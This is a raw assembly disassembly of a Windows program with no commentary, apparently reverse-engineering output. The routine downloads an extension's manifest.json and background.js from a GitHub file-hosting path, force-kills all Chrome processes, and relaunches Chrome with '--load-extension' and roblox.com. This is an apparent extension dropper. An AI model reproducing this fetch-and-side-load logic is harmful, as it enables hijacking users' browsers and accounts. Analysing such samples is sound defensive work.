mov word [rsp + 0x58], r12w
mov rdx, qword [rbp - 0x30]
cmp rdx, 7
jbe 0x140005c0e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006501
call fcn.1400158e0
movdqu xmmword [rbp - 0x38], xmm6
mov word [rbp - 0x48], r12w
lea rcx, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140005c65
test al, 0x10
je 0x140005c65
lea rdx, str.____Extension_installed_already
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea rcx, [0x140051870]
jmp 0x140005eca
lea rdx, str.___Installing_extension
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea rcx, [rbp + 0xd8]
call fcn.1400047f0
test al, al
je 0x140005ecf
lea rdx, str.____Created_folder
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea r8, str.manifest.json
lea rdx, [rbp + 0x118]
lea rcx, [rbp - 8]
call fcn.14000e2a0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
mov r8d, 0x5a
lea rdx, str.https:__raw.githubusercontent.com_liablelua_FileHost_main_am_i_detected_host_manifest.json
lea rcx, [rbp + 0x98]
call fcn.14000ead0
nop
mov rdx, rbx
lea rcx, [rbp + 0x98]
call fcn.140003ec0
movzx ebx, al
mov rdx, qword [rbp + 0xb0]
cmp rdx, 7
jbe 0x140005d50
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d4b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006507
call fcn.1400158e0
movdqu xmmword [rbp + 0xa8], xmm6
mov word [rbp + 0x98], r12w
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140005da0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d9b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000650d
call fcn.1400158e0
test bl, bl
je 0x140005dbf
lea rdx, str.___Created_manifest
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea r8, str.background.js
lea rdx, [rbp + 0x118]
lea rcx, [rbp - 8]
call fcn.14000e2a0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x98], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xa8], xmm1
mov r8d, 0x5a
lea rdx, str.https:__raw.githubusercontent.com_liablelua_FileHost_main_am_i_detected_host_background.js
lea rcx, [rbp + 0x98]
call fcn.14000ead0
nop
mov rdx, rbx
lea rcx, [rbp + 0x98]
call fcn.140003ec0
movzx ebx, al
mov rdx, qword [rbp + 0xb0]
cmp rdx, 7
jbe 0x140005e60
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x98]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006513
call fcn.1400158e0
movdqu xmmword [rbp + 0xa8], xmm6
mov word [rbp + 0x98], r12w
mov rdx, qword [rbp + 0x10]
cmp rdx, 7
jbe 0x140005eb0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005eab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006519
call fcn.1400158e0
test bl, bl
je 0x140005ecf
lea rdx, str.___Created_manifest
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
lea rdx, str.____Closing_all_Chrome_instances.
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x48], xmm1
mov r8d, 0x25
lea rdx, str.taskkill__f__im_chrome.exe___NUL_2_1
lea rcx, [rbp + 0x38]
call fcn.14000ed50
nop
lea rcx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0xf
cmova rcx, qword [rbp + 0x38]
call fcn.14001e3a0
lea rdx, str.___Opening_Chrome
lea rcx, [0x140051870]
call fcn.14000d9f0
mov rcx, rax
call fcn.14000dca0
mov r13, qword [rbp + 0xe8]
mov rax, r14
sub rax, r13
cmp rax, 0x12
jb 0x14000651f
lea r15, [rbp + 0xd8]
cmp qword [rbp + 0xf0], 0xf
cmova r15, qword [rbp + 0xd8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x18], xmm1
lea rsi, [r13 + 0x12]
mov ebx, 0xf
lea rdi, [rbp - 0x28]
cmp rsi, rbx
jbe 0x14000600c
mov rbx, rsi
or rbx, 0xf
cmp rbx, r14
jbe 0x140005fcd
mov rbx, r14
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.1400158e8
test rax, rax
je 0x140006525
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140006008
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x140005fe8
mov rdi, r12
jmp 0x140006008
cmp rcx, 0x1000
jb 0x140006000
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140006465
jmp 0x140005fae
call fcn.1400158e8
mov rdi, rax
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rbx
movups xmm0, xmmword [str.__load_extension_]
movups xmmword [rdi], xmm0
movzx ecx, word [0x140047eb0]
mov word [rdi + 0x10], cx
lea rcx, [rdi + 0x12]
mov r8, r13
mov rdx, r15
call fcn.1400393b0
mov byte [rdi + rsi], 0
mov r8d, 0x1d
lea rdx, str.__https:__www.roblox.com_home
lea rcx, [rbp - 0x28]
call fcn.14000c000
xorps xmm0, xmm0
movups xmmword [rbp + 0x78], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x88], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x78], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x88], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x1400060c0
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400060bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000652b
call fcn.1400158e0
movdqu xmmword [rbp - 0x18], xmm7
mov byte [rbp - 0x28], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x178], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x188], xmm1
mov r8d, 0xa
lea rdx, str.chrome.exe
lea rcx, [rbp + 0x178]
call fcn.14000ead0
nop
lea r8, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova r8, qword [rbp + 0x78]
add r8, qword [rbp + 0x88]
lea rdx, [rbp + 0x78]
cmp qword [rbp + 0x90], 0xf
cmova rdx, qword [rbp + 0x78]
lea rcx, [rbp + 0x1b8]
call fcn.14000e430
lea r9, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 7
cmova r9, qword [rbp + 0x1b8]
lea r8, [rbp + 0x178]
cmp qword [rbp + 0x190], 7
cmova r8, qword [rbp + 0x178]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp + 0x1d0]
cmp rdx, 7
jbe 0x1400061bd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400061b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006531
call fcn.1400158e0
movdqu xmmword [rbp + 0x1c8], xmm6
mov word [rbp + 0x1b8], r12w
mov rdx, qword [rbp + 0x190]
cmp rdx, 7
jbe 0x140006213
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x178]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000620e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006537
call fcn.1400158e0
movdqu xmmword [rbp + 0x188], xmm6
mov word [rbp + 0x178], r12w
mov rdx, qword [rbp + 0x90]
cmp rdx, 0xf
jbe 0x140006261
inc rdx
mov rcx, qword [rbp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000625c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000653d
call fcn.1400158e0
movdqu xmmword [rbp + 0x88], xmm7
mov byte [rbp + 0x78], 0
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x1400062a8
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062a3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006543
call fcn.1400158e0
movdqu xmmword [rbp + 0x48], xmm7
mov byte [rbp + 0x38], 0
mov rdx, qword [rbp + 0x130]
cmp rdx, 7
jbe 0x1400062f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x118]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400062f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006549
call fcn.1400158e0
nop
mov rdx, qword [rbp + 0xf0]
cmp rdx, 0xf
jbe 0x140006339
inc rdx
mov rcx, qword [rbp + 0xd8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006334
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000654f
call fcn.1400158e0
mov qword [rbp + 0xe8], r12
mov qword [rbp + 0xf0], 0xf
mov byte [rbp + 0xd8], 0
mov rdx, qword [rbp + 0x1b0]
cmp rdx, 0xf
jbe 0x140006394
inc rdx
mov rcx, qword [rbp + 0x198]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000638e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006555
call fcn.1400158e0
nop
mov rdx, qword [rbp + 0x210]
cmp rdx, 0xf
jbe 0x1400063d5
inc rdx
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400063d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000655b
call fcn.1400158e0
mov rbx, qword [rbp + 0x30]
cmp rbx, 0xf
jbe 0x14000640d
lea rdx, [rbx + 1]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006408
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006447
call fcn.1400158e0
mov rcx, qword [rbp + 0x420]
xor rcx, rsp
call fcn.1400158c0
lea r11, [rsp + 0x550]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.14001faf8
nop
call fcn.140001520
nop
call fcn.140001520
nop
call fcn.14001faf8
nop
call fcn.140001520
nop
call fcn.140001520
nop
call fcn.14001faf8
int3
call fcn.1400015c0
int3
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.1400015c0
int3
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
int3
call fcn.1400015c0
int3
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.1400015c0
int3
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
nop
call fcn.14001faf8
int3